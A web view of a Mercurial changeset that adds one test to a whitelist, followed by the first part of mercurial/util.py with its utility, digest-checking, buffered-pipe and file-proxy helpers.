##// END OF EJS Templates
tests: suppress read(-1) -> '' calls in fileobjectobserver...
Augie Fackler -
r38334:565074cc default
parent child Browse files
Show More
@@ -1,505 +1,506 b''
1 1 test-abort-checkin.t
2 2 test-add.t
3 3 test-addremove-similar.t
4 4 test-addremove.t
5 5 test-amend-subrepo.t
6 6 test-amend.t
7 7 test-ancestor.py
8 8 test-annotate.py
9 9 test-annotate.t
10 10 test-archive-symlinks.t
11 11 test-atomictempfile.py
12 12 test-audit-path.t
13 13 test-audit-subrepo.t
14 14 test-automv.t
15 15 test-backout.t
16 16 test-backwards-remove.t
17 17 test-basic.t
18 18 test-bheads.t
19 19 test-bisect.t
20 20 test-bisect2.t
21 21 test-bisect3.t
22 22 test-blackbox.t
23 23 test-bookmarks-current.t
24 24 test-bookmarks-merge.t
25 25 test-bookmarks-rebase.t
26 26 test-bookmarks-strip.t
27 27 test-bookmarks.t
28 28 test-branch-change.t
29 29 test-branch-option.t
30 30 test-branch-tag-confict.t
31 31 test-branches.t
32 32 test-bundle-phases.t
33 33 test-bundle-type.t
34 34 test-bundle-vs-outgoing.t
35 35 test-bundle2-multiple-changegroups.t
36 36 test-cappedreader.py
37 37 test-casecollision.t
38 38 test-cat.t
39 39 test-cbor.py
40 40 test-censor.t
41 41 test-changelog-exec.t
42 42 test-check-commit.t
43 43 test-check-execute.t
44 44 test-check-interfaces.py
45 45 test-check-module-imports.t
46 46 test-check-pyflakes.t
47 47 test-check-pylint.t
48 48 test-check-shbang.t
49 49 test-children.t
50 50 test-clone-cgi.t
51 51 test-clone-pull-corruption.t
52 52 test-clone-r.t
53 53 test-clone-update-order.t
54 54 test-command-template.t
55 55 test-commit-amend.t
56 56 test-commit-interactive.t
57 57 test-commit-multiple.t
58 58 test-commit-unresolved.t
59 59 test-commit.t
60 60 test-committer.t
61 61 test-completion.t
62 62 test-config-env.py
63 63 test-config.t
64 64 test-conflict.t
65 65 test-confused-revert.t
66 66 test-context.py
67 67 test-contrib-check-code.t
68 68 test-contrib-check-commit.t
69 69 test-convert-authormap.t
70 70 test-convert-clonebranches.t
71 71 test-convert-cvs-branch.t
72 72 test-convert-cvs-detectmerge.t
73 73 test-convert-cvs-synthetic.t
74 74 test-convert-cvs.t
75 75 test-convert-cvsnt-mergepoints.t
76 76 test-convert-datesort.t
77 77 test-convert-filemap.t
78 78 test-convert-hg-sink.t
79 79 test-convert-hg-source.t
80 80 test-convert-hg-startrev.t
81 81 test-convert-splicemap.t
82 82 test-convert-tagsbranch-topology.t
83 83 test-copy-move-merge.t
84 84 test-copy.t
85 85 test-copytrace-heuristics.t
86 86 test-debugbuilddag.t
87 87 test-debugbundle.t
88 88 test-debugextensions.t
89 89 test-debugindexdot.t
90 90 test-debugrename.t
91 91 test-default-push.t
92 92 test-diff-binary-file.t
93 93 test-diff-change.t
94 94 test-diff-copy-depth.t
95 95 test-diff-hashes.t
96 96 test-diff-ignore-whitespace.t
97 97 test-diff-indent-heuristic.t
98 98 test-diff-issue2761.t
99 99 test-diff-newlines.t
100 100 test-diff-reverse.t
101 101 test-diff-subdir.t
102 102 test-diff-unified.t
103 103 test-diff-upgrade.t
104 104 test-diffdir.t
105 105 test-diffstat.t
106 106 test-directaccess.t
107 107 test-dirstate-backup.t
108 108 test-dirstate-nonnormalset.t
109 109 test-dirstate.t
110 110 test-dispatch.py
111 111 test-doctest.py
112 112 test-double-merge.t
113 113 test-drawdag.t
114 114 test-duplicateoptions.py
115 115 test-editor-filename.t
116 116 test-empty-dir.t
117 117 test-empty-file.t
118 118 test-empty-group.t
119 119 test-empty.t
120 120 test-encode.t
121 121 test-encoding-func.py
122 122 test-encoding.t
123 123 test-eol-add.t
124 124 test-eol-clone.t
125 125 test-eol-hook.t
126 126 test-eol-tag.t
127 127 test-eol-update.t
128 128 test-excessive-merge.t
129 129 test-exchange-obsmarkers-case-A1.t
130 130 test-exchange-obsmarkers-case-A2.t
131 131 test-exchange-obsmarkers-case-A3.t
132 132 test-exchange-obsmarkers-case-A4.t
133 133 test-exchange-obsmarkers-case-A5.t
134 134 test-exchange-obsmarkers-case-A6.t
135 135 test-exchange-obsmarkers-case-A7.t
136 136 test-exchange-obsmarkers-case-B1.t
137 137 test-exchange-obsmarkers-case-B2.t
138 138 test-exchange-obsmarkers-case-B3.t
139 139 test-exchange-obsmarkers-case-B4.t
140 140 test-exchange-obsmarkers-case-B5.t
141 141 test-exchange-obsmarkers-case-B6.t
142 142 test-exchange-obsmarkers-case-B7.t
143 143 test-exchange-obsmarkers-case-C1.t
144 144 test-exchange-obsmarkers-case-C2.t
145 145 test-exchange-obsmarkers-case-C3.t
146 146 test-exchange-obsmarkers-case-C4.t
147 147 test-exchange-obsmarkers-case-D1.t
148 148 test-exchange-obsmarkers-case-D2.t
149 149 test-exchange-obsmarkers-case-D3.t
150 150 test-exchange-obsmarkers-case-D4.t
151 151 test-execute-bit.t
152 152 test-export.t
153 153 test-extdata.t
154 154 test-extdiff.t
155 155 test-extensions-afterloaded.t
156 156 test-extensions-wrapfunction.py
157 157 test-extra-filelog-entry.t
158 158 test-filebranch.t
159 159 test-filecache.py
160 160 test-filelog.py
161 161 test-fileset-generated.t
162 162 test-fix-topology.t
163 163 test-flags.t
164 164 test-generaldelta.t
165 165 test-getbundle.t
166 166 test-git-export.t
167 167 test-glog-topological.t
168 168 test-gpg.t
169 169 test-graft.t
170 170 test-hg-parseurl.py
171 171 test-hghave.t
172 172 test-hgignore.t
173 173 test-hgk.t
174 174 test-hgrc.t
175 175 test-hgweb-bundle.t
176 176 test-hgweb-descend-empties.t
177 177 test-hgweb-empty.t
178 178 test-hgweb-removed.t
179 179 test-hgwebdir-paths.py
180 180 test-hgwebdirsym.t
181 181 test-histedit-arguments.t
182 182 test-histedit-base.t
183 183 test-histedit-bookmark-motion.t
184 184 test-histedit-commute.t
185 185 test-histedit-drop.t
186 186 test-histedit-edit.t
187 187 test-histedit-fold-non-commute.t
188 188 test-histedit-fold.t
189 189 test-histedit-no-change.t
190 190 test-histedit-non-commute-abort.t
191 191 test-histedit-non-commute.t
192 192 test-histedit-obsolete.t
193 193 test-histedit-outgoing.t
194 194 test-histedit-templates.t
195 195 test-http-branchmap.t
196 196 test-http-bundle1.t
197 197 test-http-clone-r.t
198 198 test-http.t
199 199 test-hybridencode.py
200 200 test-identify.t
201 201 test-import-merge.t
202 202 test-import-unknown.t
203 203 test-import.t
204 204 test-imports-checker.t
205 205 test-incoming-outgoing.t
206 206 test-inherit-mode.t
207 207 test-issue1089.t
208 208 test-issue1102.t
209 209 test-issue1175.t
210 210 test-issue1306.t
211 211 test-issue1438.t
212 212 test-issue1502.t
213 213 test-issue1802.t
214 214 test-issue1877.t
215 215 test-issue1993.t
216 216 test-issue2137.t
217 217 test-issue3084.t
218 218 test-issue4074.t
219 219 test-issue522.t
220 220 test-issue586.t
221 221 test-issue612.t
222 222 test-issue619.t
223 223 test-issue660.t
224 224 test-issue672.t
225 225 test-issue842.t
226 226 test-journal-exists.t
227 227 test-journal-share.t
228 228 test-journal.t
229 229 test-largefiles-cache.t
230 230 test-largefiles-misc.t
231 231 test-largefiles-small-disk.t
232 232 test-largefiles-update.t
233 233 test-largefiles.t
234 234 test-lfs-largefiles.t
235 235 test-lfs-pointer.py
236 236 test-linerange.py
237 237 test-locate.t
238 238 test-lock-badness.t
239 239 test-log-linerange.t
240 240 test-log.t
241 241 test-logexchange.t
242 242 test-lrucachedict.py
243 243 test-mactext.t
244 244 test-mailmap.t
245 245 test-manifest-merging.t
246 246 test-manifest.py
247 247 test-manifest.t
248 248 test-match.py
249 249 test-mdiff.py
250 250 test-merge-changedelete.t
251 251 test-merge-closedheads.t
252 252 test-merge-commit.t
253 253 test-merge-criss-cross.t
254 254 test-merge-default.t
255 255 test-merge-force.t
256 256 test-merge-halt.t
257 257 test-merge-internal-tools-pattern.t
258 258 test-merge-local.t
259 259 test-merge-remove.t
260 260 test-merge-revert.t
261 261 test-merge-revert2.t
262 262 test-merge-subrepos.t
263 263 test-merge-symlinks.t
264 264 test-merge-tools.t
265 265 test-merge-types.t
266 266 test-merge1.t
267 267 test-merge10.t
268 268 test-merge2.t
269 269 test-merge4.t
270 270 test-merge5.t
271 271 test-merge6.t
272 272 test-merge7.t
273 273 test-merge8.t
274 274 test-merge9.t
275 275 test-minifileset.py
276 276 test-minirst.py
277 277 test-mq-git.t
278 278 test-mq-header-date.t
279 279 test-mq-header-from.t
280 280 test-mq-merge.t
281 281 test-mq-pull-from-bundle.t
282 282 test-mq-qclone-http.t
283 283 test-mq-qdelete.t
284 284 test-mq-qdiff.t
285 285 test-mq-qfold.t
286 286 test-mq-qgoto.t
287 287 test-mq-qimport-fail-cleanup.t
288 288 test-mq-qnew.t
289 289 test-mq-qpush-exact.t
290 290 test-mq-qqueue.t
291 291 test-mq-qrefresh-interactive.t
292 292 test-mq-qrefresh-replace-log-message.t
293 293 test-mq-qrefresh.t
294 294 test-mq-qrename.t
295 295 test-mq-qsave.t
296 296 test-mq-safety.t
297 297 test-mq-subrepo.t
298 298 test-mq-symlinks.t
299 299 test-mv-cp-st-diff.t
300 300 test-narrow-archive.t
301 301 test-narrow-clone-no-ellipsis.t
302 302 test-narrow-clone-non-narrow-server.t
303 303 test-narrow-clone-nonlinear.t
304 304 test-narrow-clone.t
305 305 test-narrow-commit.t
306 306 test-narrow-copies.t
307 307 test-narrow-debugcommands.t
308 308 test-narrow-debugrebuilddirstate.t
309 309 test-narrow-exchange-merges.t
310 310 test-narrow-exchange.t
311 311 test-narrow-expanddirstate.t
312 312 test-narrow-merge.t
313 313 test-narrow-patch.t
314 314 test-narrow-patterns.t
315 315 test-narrow-pull.t
316 316 test-narrow-rebase.t
317 317 test-narrow-shallow-merges.t
318 318 test-narrow-shallow.t
319 319 test-narrow-strip.t
320 320 test-narrow-update.t
321 321 test-nested-repo.t
322 322 test-newbranch.t
323 323 test-obshistory.t
324 324 test-obsmarker-template.t
325 325 test-obsmarkers-effectflag.t
326 326 test-obsolete-bundle-strip.t
327 327 test-obsolete-changeset-exchange.t
328 328 test-obsolete-checkheads.t
329 329 test-obsolete-distributed.t
330 330 test-obsolete-tag-cache.t
331 331 test-pager.t
332 332 test-parents.t
333 333 test-parseindex2.py
334 334 test-pathconflicts-merge.t
335 335 test-pathconflicts-update.t
336 336 test-pathencode.py
337 337 test-pending.t
338 338 test-permissions.t
339 339 test-phases.t
340 340 test-pull-branch.t
341 341 test-pull-http.t
342 342 test-pull-permission.t
343 343 test-pull-pull-corruption.t
344 344 test-pull-r.t
345 345 test-pull-update.t
346 346 test-pull.t
347 347 test-purge.t
348 348 test-push-checkheads-partial-C1.t
349 349 test-push-checkheads-partial-C2.t
350 350 test-push-checkheads-partial-C3.t
351 351 test-push-checkheads-partial-C4.t
352 352 test-push-checkheads-pruned-B1.t
353 353 test-push-checkheads-pruned-B2.t
354 354 test-push-checkheads-pruned-B3.t
355 355 test-push-checkheads-pruned-B4.t
356 356 test-push-checkheads-pruned-B5.t
357 357 test-push-checkheads-pruned-B6.t
358 358 test-push-checkheads-pruned-B7.t
359 359 test-push-checkheads-pruned-B8.t
360 360 test-push-checkheads-superceed-A1.t
361 361 test-push-checkheads-superceed-A2.t
362 362 test-push-checkheads-superceed-A3.t
363 363 test-push-checkheads-superceed-A4.t
364 364 test-push-checkheads-superceed-A5.t
365 365 test-push-checkheads-superceed-A6.t
366 366 test-push-checkheads-superceed-A7.t
367 367 test-push-checkheads-superceed-A8.t
368 368 test-push-checkheads-unpushed-D1.t
369 369 test-push-checkheads-unpushed-D2.t
370 370 test-push-checkheads-unpushed-D3.t
371 371 test-push-checkheads-unpushed-D4.t
372 372 test-push-checkheads-unpushed-D5.t
373 373 test-push-checkheads-unpushed-D6.t
374 374 test-push-checkheads-unpushed-D7.t
375 375 test-push-http.t
376 376 test-push-warn.t
377 377 test-push.t
378 378 test-pushvars.t
379 379 test-rebase-abort.t
380 380 test-rebase-base-flag.t
381 381 test-rebase-bookmarks.t
382 382 test-rebase-brute-force.t
383 383 test-rebase-cache.t
384 384 test-rebase-check-restore.t
385 385 test-rebase-collapse.t
386 386 test-rebase-conflicts.t
387 387 test-rebase-dest.t
388 388 test-rebase-detach.t
389 389 test-rebase-emptycommit.t
390 390 test-rebase-inmemory.t
391 391 test-rebase-interruptions.t
392 392 test-rebase-issue-noparam-single-rev.t
393 393 test-rebase-legacy.t
394 394 test-rebase-mq-skip.t
395 395 test-rebase-mq.t
396 396 test-rebase-named-branches.t
397 397 test-rebase-newancestor.t
398 398 test-rebase-obsolete.t
399 399 test-rebase-parameters.t
400 400 test-rebase-partial.t
401 401 test-rebase-pull.t
402 402 test-rebase-rename.t
403 403 test-rebase-scenario-global.t
404 404 test-rebase-templates.t
405 405 test-rebase-transaction.t
406 406 test-rebuildstate.t
407 407 test-record.t
408 408 test-relink.t
409 409 test-remove.t
410 410 test-rename-after-merge.t
411 411 test-rename-dir-merge.t
412 412 test-rename-merge1.t
413 413 test-rename.t
414 414 test-repair-strip.t
415 415 test-repo-compengines.t
416 416 test-resolve.t
417 417 test-revert-flags.t
418 418 test-revert-interactive.t
419 419 test-revert-unknown.t
420 420 test-revlog-ancestry.py
421 421 test-revlog-group-emptyiter.t
422 422 test-revlog-mmapindex.t
423 423 test-revlog-packentry.t
424 424 test-revlog-raw.py
425 425 test-revset-dirstate-parents.t
426 426 test-revset-legacy-lookup.t
427 427 test-revset-outgoing.t
428 428 test-rollback.t
429 429 test-run-tests.py
430 430 test-run-tests.t
431 431 test-schemes.t
432 432 test-serve.t
433 433 test-setdiscovery.t
434 434 test-share.t
435 435 test-shelve.t
436 436 test-show-stack.t
437 437 test-show-work.t
438 438 test-show.t
439 439 test-simple-update.t
440 440 test-simplekeyvaluefile.py
441 441 test-simplemerge.py
442 442 test-single-head.t
443 443 test-sparse-clear.t
444 444 test-sparse-clone.t
445 445 test-sparse-import.t
446 446 test-sparse-merges.t
447 447 test-sparse-profiles.t
448 448 test-sparse-requirement.t
449 449 test-sparse-verbose-json.t
450 450 test-sparse.t
451 451 test-split.t
452 452 test-ssh-clone-r.t
453 test-ssh-proto-unbundle.t
453 454 test-ssh-proto.t
454 455 test-sshserver.py
455 456 test-stack.t
456 457 test-status-inprocess.py
457 458 test-status-rev.t
458 459 test-status-terse.t
459 460 test-strict.t
460 461 test-strip-cross.t
461 462 test-strip.t
462 463 test-subrepo-deep-nested-change.t
463 464 test-subrepo-missing.t
464 465 test-subrepo-paths.t
465 466 test-subrepo-recursion.t
466 467 test-subrepo-relative-path.t
467 468 test-subrepo.t
468 469 test-symlink-os-yes-fs-no.py
469 470 test-symlink-placeholder.t
470 471 test-symlinks.t
471 472 test-tag.t
472 473 test-tags.t
473 474 test-template-engine.t
474 475 test-template-filters.t
475 476 test-treemanifest.t
476 477 test-ui-color.py
477 478 test-ui-config.py
478 479 test-ui-verbosity.py
479 480 test-unamend.t
480 481 test-uncommit.t
481 482 test-unified-test.t
482 483 test-unionrepo.t
483 484 test-unrelated-pull.t
484 485 test-up-local-change.t
485 486 test-update-branches.t
486 487 test-update-dest.t
487 488 test-update-issue1456.t
488 489 test-update-names.t
489 490 test-update-reverse.t
490 491 test-upgrade-repo.t
491 492 test-url-download.t
492 493 test-url-rev.t
493 494 test-url.py
494 495 test-username-newline.t
495 496 test-verify.t
496 497 test-walk.t
497 498 test-walkrepo.py
498 499 test-websub.t
499 500 test-win32text.t
500 501 test-wireproto-clientreactor.py
501 502 test-wireproto-framing.py
502 503 test-wireproto-serverreactor.py
503 504 test-wireproto.py
504 505 test-wsgirequest.py
505 506 test-xdg.t
@@ -1,3783 +1,3790 b''
1 1 # util.py - Mercurial utility functions and platform specific implementations
2 2 #
3 3 # Copyright 2005 K. Thananchayan <thananck@yahoo.com>
4 4 # Copyright 2005-2007 Matt Mackall <mpm@selenic.com>
5 5 # Copyright 2006 Vadim Gelfer <vadim.gelfer@gmail.com>
6 6 #
7 7 # This software may be used and distributed according to the terms of the
8 8 # GNU General Public License version 2 or any later version.
9 9
10 10 """Mercurial utility functions and platform specific implementations.
11 11
12 12 This contains helper routines that are independent of the SCM core and
13 13 hide platform-specific details from the core.
14 14 """
15 15
16 16 from __future__ import absolute_import, print_function
17 17
18 18 import abc
19 19 import bz2
20 20 import collections
21 21 import contextlib
22 22 import errno
23 23 import gc
24 24 import hashlib
25 25 import itertools
26 26 import mmap
27 27 import os
28 28 import platform as pyplatform
29 29 import re as remod
30 30 import shutil
31 31 import socket
32 32 import stat
33 33 import sys
34 34 import time
35 35 import traceback
36 36 import warnings
37 37 import zlib
38 38
39 39 from . import (
40 40 encoding,
41 41 error,
42 42 i18n,
43 43 node as nodemod,
44 44 policy,
45 45 pycompat,
46 46 urllibcompat,
47 47 )
48 48 from .utils import (
49 49 procutil,
50 50 stringutil,
51 51 )
52 52
53 53 base85 = policy.importmod(r'base85')
54 54 osutil = policy.importmod(r'osutil')
55 55 parsers = policy.importmod(r'parsers')
56 56
57 57 b85decode = base85.b85decode
58 58 b85encode = base85.b85encode
59 59
60 60 cookielib = pycompat.cookielib
61 61 httplib = pycompat.httplib
62 62 pickle = pycompat.pickle
63 63 safehasattr = pycompat.safehasattr
64 64 socketserver = pycompat.socketserver
65 65 bytesio = pycompat.bytesio
66 66 # TODO deprecate stringio name, as it is a lie on Python 3.
67 67 stringio = bytesio
68 68 xmlrpclib = pycompat.xmlrpclib
69 69
70 70 httpserver = urllibcompat.httpserver
71 71 urlerr = urllibcompat.urlerr
72 72 urlreq = urllibcompat.urlreq
73 73
74 74 # workaround for win32mbcs
75 75 _filenamebytestr = pycompat.bytestr
76 76
77 77 if pycompat.iswindows:
78 78 from . import windows as platform
79 79 else:
80 80 from . import posix as platform
81 81
82 82 _ = i18n._
83 83
84 84 bindunixsocket = platform.bindunixsocket
85 85 cachestat = platform.cachestat
86 86 checkexec = platform.checkexec
87 87 checklink = platform.checklink
88 88 copymode = platform.copymode
89 89 expandglobs = platform.expandglobs
90 90 getfsmountpoint = platform.getfsmountpoint
91 91 getfstype = platform.getfstype
92 92 groupmembers = platform.groupmembers
93 93 groupname = platform.groupname
94 94 isexec = platform.isexec
95 95 isowner = platform.isowner
96 96 listdir = osutil.listdir
97 97 localpath = platform.localpath
98 98 lookupreg = platform.lookupreg
99 99 makedir = platform.makedir
100 100 nlinks = platform.nlinks
101 101 normpath = platform.normpath
102 102 normcase = platform.normcase
103 103 normcasespec = platform.normcasespec
104 104 normcasefallback = platform.normcasefallback
105 105 openhardlinks = platform.openhardlinks
106 106 oslink = platform.oslink
107 107 parsepatchoutput = platform.parsepatchoutput
108 108 pconvert = platform.pconvert
109 109 poll = platform.poll
110 110 posixfile = platform.posixfile
111 111 rename = platform.rename
112 112 removedirs = platform.removedirs
113 113 samedevice = platform.samedevice
114 114 samefile = platform.samefile
115 115 samestat = platform.samestat
116 116 setflags = platform.setflags
117 117 split = platform.split
118 118 statfiles = getattr(osutil, 'statfiles', platform.statfiles)
119 119 statisexec = platform.statisexec
120 120 statislink = platform.statislink
121 121 umask = platform.umask
122 122 unlink = platform.unlink
123 123 username = platform.username
124 124
125 125 try:
126 126 recvfds = osutil.recvfds
127 127 except AttributeError:
128 128 pass
129 129
130 130 # Python compatibility
131 131
132 132 _notset = object()
133 133
134 134 def _rapply(f, xs):
135 135 if xs is None:
136 136 # assume None means non-value of optional data
137 137 return xs
138 138 if isinstance(xs, (list, set, tuple)):
139 139 return type(xs)(_rapply(f, x) for x in xs)
140 140 if isinstance(xs, dict):
141 141 return type(xs)((_rapply(f, k), _rapply(f, v)) for k, v in xs.items())
142 142 return f(xs)
143 143
144 144 def rapply(f, xs):
145 145 """Apply function recursively to every item preserving the data structure
146 146
147 147 >>> def f(x):
148 148 ... return 'f(%s)' % x
149 149 >>> rapply(f, None) is None
150 150 True
151 151 >>> rapply(f, 'a')
152 152 'f(a)'
153 153 >>> rapply(f, {'a'}) == {'f(a)'}
154 154 True
155 155 >>> rapply(f, ['a', 'b', None, {'c': 'd'}, []])
156 156 ['f(a)', 'f(b)', None, {'f(c)': 'f(d)'}, []]
157 157
158 158 >>> xs = [object()]
159 159 >>> rapply(pycompat.identity, xs) is xs
160 160 True
161 161 """
162 162 if f is pycompat.identity:
163 163 # fast path mainly for py2
164 164 return xs
165 165 return _rapply(f, xs)
166 166
167 167 def bitsfrom(container):
168 168 bits = 0
169 169 for bit in container:
170 170 bits |= bit
171 171 return bits
172 172
173 173 # python 2.6 still have deprecation warning enabled by default. We do not want
174 174 # to display anything to standard user so detect if we are running test and
175 175 # only use python deprecation warning in this case.
176 176 _dowarn = bool(encoding.environ.get('HGEMITWARNINGS'))
177 177 if _dowarn:
178 178 # explicitly unfilter our warning for python 2.7
179 179 #
180 180 # The option of setting PYTHONWARNINGS in the test runner was investigated.
181 181 # However, module name set through PYTHONWARNINGS was exactly matched, so
182 182 # we cannot set 'mercurial' and have it match eg: 'mercurial.scmutil'. This
183 183 # makes the whole PYTHONWARNINGS thing useless for our usecase.
184 184 warnings.filterwarnings(r'default', r'', DeprecationWarning, r'mercurial')
185 185 warnings.filterwarnings(r'default', r'', DeprecationWarning, r'hgext')
186 186 warnings.filterwarnings(r'default', r'', DeprecationWarning, r'hgext3rd')
187 187 if _dowarn and pycompat.ispy3:
188 188 # silence warning emitted by passing user string to re.sub()
189 189 warnings.filterwarnings(r'ignore', r'bad escape', DeprecationWarning,
190 190 r'mercurial')
191 191 warnings.filterwarnings(r'ignore', r'invalid escape sequence',
192 192 DeprecationWarning, r'mercurial')
193 193 # TODO: reinvent imp.is_frozen()
194 194 warnings.filterwarnings(r'ignore', r'the imp module is deprecated',
195 195 DeprecationWarning, r'mercurial')
196 196
197 197 def nouideprecwarn(msg, version, stacklevel=1):
198 198 """Issue an python native deprecation warning
199 199
200 200 This is a noop outside of tests, use 'ui.deprecwarn' when possible.
201 201 """
202 202 if _dowarn:
203 203 msg += ("\n(compatibility will be dropped after Mercurial-%s,"
204 204 " update your code.)") % version
205 205 warnings.warn(pycompat.sysstr(msg), DeprecationWarning, stacklevel + 1)
206 206
207 207 DIGESTS = {
208 208 'md5': hashlib.md5,
209 209 'sha1': hashlib.sha1,
210 210 'sha512': hashlib.sha512,
211 211 }
212 212 # List of digest types from strongest to weakest
213 213 DIGESTS_BY_STRENGTH = ['sha512', 'sha1', 'md5']
214 214
215 215 for k in DIGESTS_BY_STRENGTH:
216 216 assert k in DIGESTS
217 217
218 218 class digester(object):
219 219 """helper to compute digests.
220 220
221 221 This helper can be used to compute one or more digests given their name.
222 222
223 223 >>> d = digester([b'md5', b'sha1'])
224 224 >>> d.update(b'foo')
225 225 >>> [k for k in sorted(d)]
226 226 ['md5', 'sha1']
227 227 >>> d[b'md5']
228 228 'acbd18db4cc2f85cedef654fccc4a4d8'
229 229 >>> d[b'sha1']
230 230 '0beec7b5ea3f0fdbc95d0dd47f3c5bc275da8a33'
231 231 >>> digester.preferred([b'md5', b'sha1'])
232 232 'sha1'
233 233 """
234 234
235 235 def __init__(self, digests, s=''):
236 236 self._hashes = {}
237 237 for k in digests:
238 238 if k not in DIGESTS:
239 239 raise error.Abort(_('unknown digest type: %s') % k)
240 240 self._hashes[k] = DIGESTS[k]()
241 241 if s:
242 242 self.update(s)
243 243
244 244 def update(self, data):
245 245 for h in self._hashes.values():
246 246 h.update(data)
247 247
248 248 def __getitem__(self, key):
249 249 if key not in DIGESTS:
250 250 raise error.Abort(_('unknown digest type: %s') % k)
251 251 return nodemod.hex(self._hashes[key].digest())
252 252
253 253 def __iter__(self):
254 254 return iter(self._hashes)
255 255
256 256 @staticmethod
257 257 def preferred(supported):
258 258 """returns the strongest digest type in both supported and DIGESTS."""
259 259
260 260 for k in DIGESTS_BY_STRENGTH:
261 261 if k in supported:
262 262 return k
263 263 return None
264 264
265 265 class digestchecker(object):
266 266 """file handle wrapper that additionally checks content against a given
267 267 size and digests.
268 268
269 269 d = digestchecker(fh, size, {'md5': '...'})
270 270
271 271 When multiple digests are given, all of them are validated.
272 272 """
273 273
274 274 def __init__(self, fh, size, digests):
275 275 self._fh = fh
276 276 self._size = size
277 277 self._got = 0
278 278 self._digests = dict(digests)
279 279 self._digester = digester(self._digests.keys())
280 280
281 281 def read(self, length=-1):
282 282 content = self._fh.read(length)
283 283 self._digester.update(content)
284 284 self._got += len(content)
285 285 return content
286 286
287 287 def validate(self):
288 288 if self._size != self._got:
289 289 raise error.Abort(_('size mismatch: expected %d, got %d') %
290 290 (self._size, self._got))
291 291 for k, v in self._digests.items():
292 292 if v != self._digester[k]:
293 293 # i18n: first parameter is a digest name
294 294 raise error.Abort(_('%s mismatch: expected %s, got %s') %
295 295 (k, v, self._digester[k]))
296 296
297 297 try:
298 298 buffer = buffer
299 299 except NameError:
300 300 def buffer(sliceable, offset=0, length=None):
301 301 if length is not None:
302 302 return memoryview(sliceable)[offset:offset + length]
303 303 return memoryview(sliceable)[offset:]
304 304
305 305 _chunksize = 4096
306 306
307 307 class bufferedinputpipe(object):
308 308 """a manually buffered input pipe
309 309
310 310 Python will not let us use buffered IO and lazy reading with 'polling' at
311 311 the same time. We cannot probe the buffer state and select will not detect
312 312 that data are ready to read if they are already buffered.
313 313
314 314 This class let us work around that by implementing its own buffering
315 315 (allowing efficient readline) while offering a way to know if the buffer is
316 316 empty from the output (allowing collaboration of the buffer with polling).
317 317
318 318 This class lives in the 'util' module because it makes use of the 'os'
319 319 module from the python stdlib.
320 320 """
321 321 def __new__(cls, fh):
322 322 # If we receive a fileobjectproxy, we need to use a variation of this
323 323 # class that notifies observers about activity.
324 324 if isinstance(fh, fileobjectproxy):
325 325 cls = observedbufferedinputpipe
326 326
327 327 return super(bufferedinputpipe, cls).__new__(cls)
328 328
329 329 def __init__(self, input):
330 330 self._input = input
331 331 self._buffer = []
332 332 self._eof = False
333 333 self._lenbuf = 0
334 334
335 335 @property
336 336 def hasbuffer(self):
337 337 """True is any data is currently buffered
338 338
339 339 This will be used externally a pre-step for polling IO. If there is
340 340 already data then no polling should be set in place."""
341 341 return bool(self._buffer)
342 342
343 343 @property
344 344 def closed(self):
345 345 return self._input.closed
346 346
347 347 def fileno(self):
348 348 return self._input.fileno()
349 349
350 350 def close(self):
351 351 return self._input.close()
352 352
353 353 def read(self, size):
354 354 while (not self._eof) and (self._lenbuf < size):
355 355 self._fillbuffer()
356 356 return self._frombuffer(size)
357 357
358 358 def readline(self, *args, **kwargs):
359 359 if 1 < len(self._buffer):
360 360 # this should not happen because both read and readline end with a
361 361 # _frombuffer call that collapse it.
362 362 self._buffer = [''.join(self._buffer)]
363 363 self._lenbuf = len(self._buffer[0])
364 364 lfi = -1
365 365 if self._buffer:
366 366 lfi = self._buffer[-1].find('\n')
367 367 while (not self._eof) and lfi < 0:
368 368 self._fillbuffer()
369 369 if self._buffer:
370 370 lfi = self._buffer[-1].find('\n')
371 371 size = lfi + 1
372 372 if lfi < 0: # end of file
373 373 size = self._lenbuf
374 374 elif 1 < len(self._buffer):
375 375 # we need to take previous chunks into account
376 376 size += self._lenbuf - len(self._buffer[-1])
377 377 return self._frombuffer(size)
378 378
379 379 def _frombuffer(self, size):
380 380 """return at most 'size' data from the buffer
381 381
382 382 The data are removed from the buffer."""
383 383 if size == 0 or not self._buffer:
384 384 return ''
385 385 buf = self._buffer[0]
386 386 if 1 < len(self._buffer):
387 387 buf = ''.join(self._buffer)
388 388
389 389 data = buf[:size]
390 390 buf = buf[len(data):]
391 391 if buf:
392 392 self._buffer = [buf]
393 393 self._lenbuf = len(buf)
394 394 else:
395 395 self._buffer = []
396 396 self._lenbuf = 0
397 397 return data
398 398
399 399 def _fillbuffer(self):
400 400 """read data to the buffer"""
401 401 data = os.read(self._input.fileno(), _chunksize)
402 402 if not data:
403 403 self._eof = True
404 404 else:
405 405 self._lenbuf += len(data)
406 406 self._buffer.append(data)
407 407
408 408 return data
409 409
410 410 def mmapread(fp):
411 411 try:
412 412 fd = getattr(fp, 'fileno', lambda: fp)()
413 413 return mmap.mmap(fd, 0, access=mmap.ACCESS_READ)
414 414 except ValueError:
415 415 # Empty files cannot be mmapped, but mmapread should still work. Check
416 416 # if the file is empty, and if so, return an empty buffer.
417 417 if os.fstat(fd).st_size == 0:
418 418 return ''
419 419 raise
420 420
421 421 class fileobjectproxy(object):
422 422 """A proxy around file objects that tells a watcher when events occur.
423 423
424 424 This type is intended to only be used for testing purposes. Think hard
425 425 before using it in important code.
426 426 """
427 427 __slots__ = (
428 428 r'_orig',
429 429 r'_observer',
430 430 )
431 431
432 432 def __init__(self, fh, observer):
433 433 object.__setattr__(self, r'_orig', fh)
434 434 object.__setattr__(self, r'_observer', observer)
435 435
436 436 def __getattribute__(self, name):
437 437 ours = {
438 438 r'_observer',
439 439
440 440 # IOBase
441 441 r'close',
442 442 # closed if a property
443 443 r'fileno',
444 444 r'flush',
445 445 r'isatty',
446 446 r'readable',
447 447 r'readline',
448 448 r'readlines',
449 449 r'seek',
450 450 r'seekable',
451 451 r'tell',
452 452 r'truncate',
453 453 r'writable',
454 454 r'writelines',
455 455 # RawIOBase
456 456 r'read',
457 457 r'readall',
458 458 r'readinto',
459 459 r'write',
460 460 # BufferedIOBase
461 461 # raw is a property
462 462 r'detach',
463 463 # read defined above
464 464 r'read1',
465 465 # readinto defined above
466 466 # write defined above
467 467 }
468 468
469 469 # We only observe some methods.
470 470 if name in ours:
471 471 return object.__getattribute__(self, name)
472 472
473 473 return getattr(object.__getattribute__(self, r'_orig'), name)
474 474
475 475 def __nonzero__(self):
476 476 return bool(object.__getattribute__(self, r'_orig'))
477 477
478 478 __bool__ = __nonzero__
479 479
480 480 def __delattr__(self, name):
481 481 return delattr(object.__getattribute__(self, r'_orig'), name)
482 482
